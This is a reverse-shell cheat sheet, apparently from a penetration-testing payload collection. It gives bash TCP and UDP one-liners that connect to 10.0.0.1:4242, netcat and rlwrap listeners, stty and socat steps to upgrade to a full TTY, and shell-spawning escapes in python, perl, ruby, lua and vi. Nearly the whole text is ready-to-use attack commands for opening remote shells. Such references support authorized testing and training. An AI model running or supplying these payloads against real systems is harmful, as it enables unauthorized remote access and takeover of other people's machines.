Summary
Reverse Shell
Bash TCP
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
Bash UDP
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
nc -u -lvp 4242
Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

Spawn TTY Shell
In order to catch a shell, you need to listen on the desired port. rlwrap
will enhance the shell, allowing you to clear the screen with [CTRL] + [L]
.
rlwrap nc 10.0.0.1 4242
rlwrap -r -f . nc 10.0.0.1 4242
-f . will make rlwrap use the current history file as a completion word list.
-r Put all words seen on in- and output on the completion list.
Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.
⚠️ OhMyZSH might break this trick, a simple sh
is recommended
The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect
ctrl+z
echo $TERM && tput lines && tput cols
# for bash
stty raw -echo
fg
# for zsh
stty raw -echo; fg
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
or use socat
binary to get a fully tty reverse shell
socat file:`tty`,raw,echo=0 tcp-listen:12345
Spawn a TTY shell from an interpreter
/bin/sh -i
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `/bin/bash`'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
- vi:
:!bash

:set shell=/bin/bash:shell

Fully interactive reverse shell on Windows
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.
ConPtyShell uses the function CreatePseudoConsole(). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).
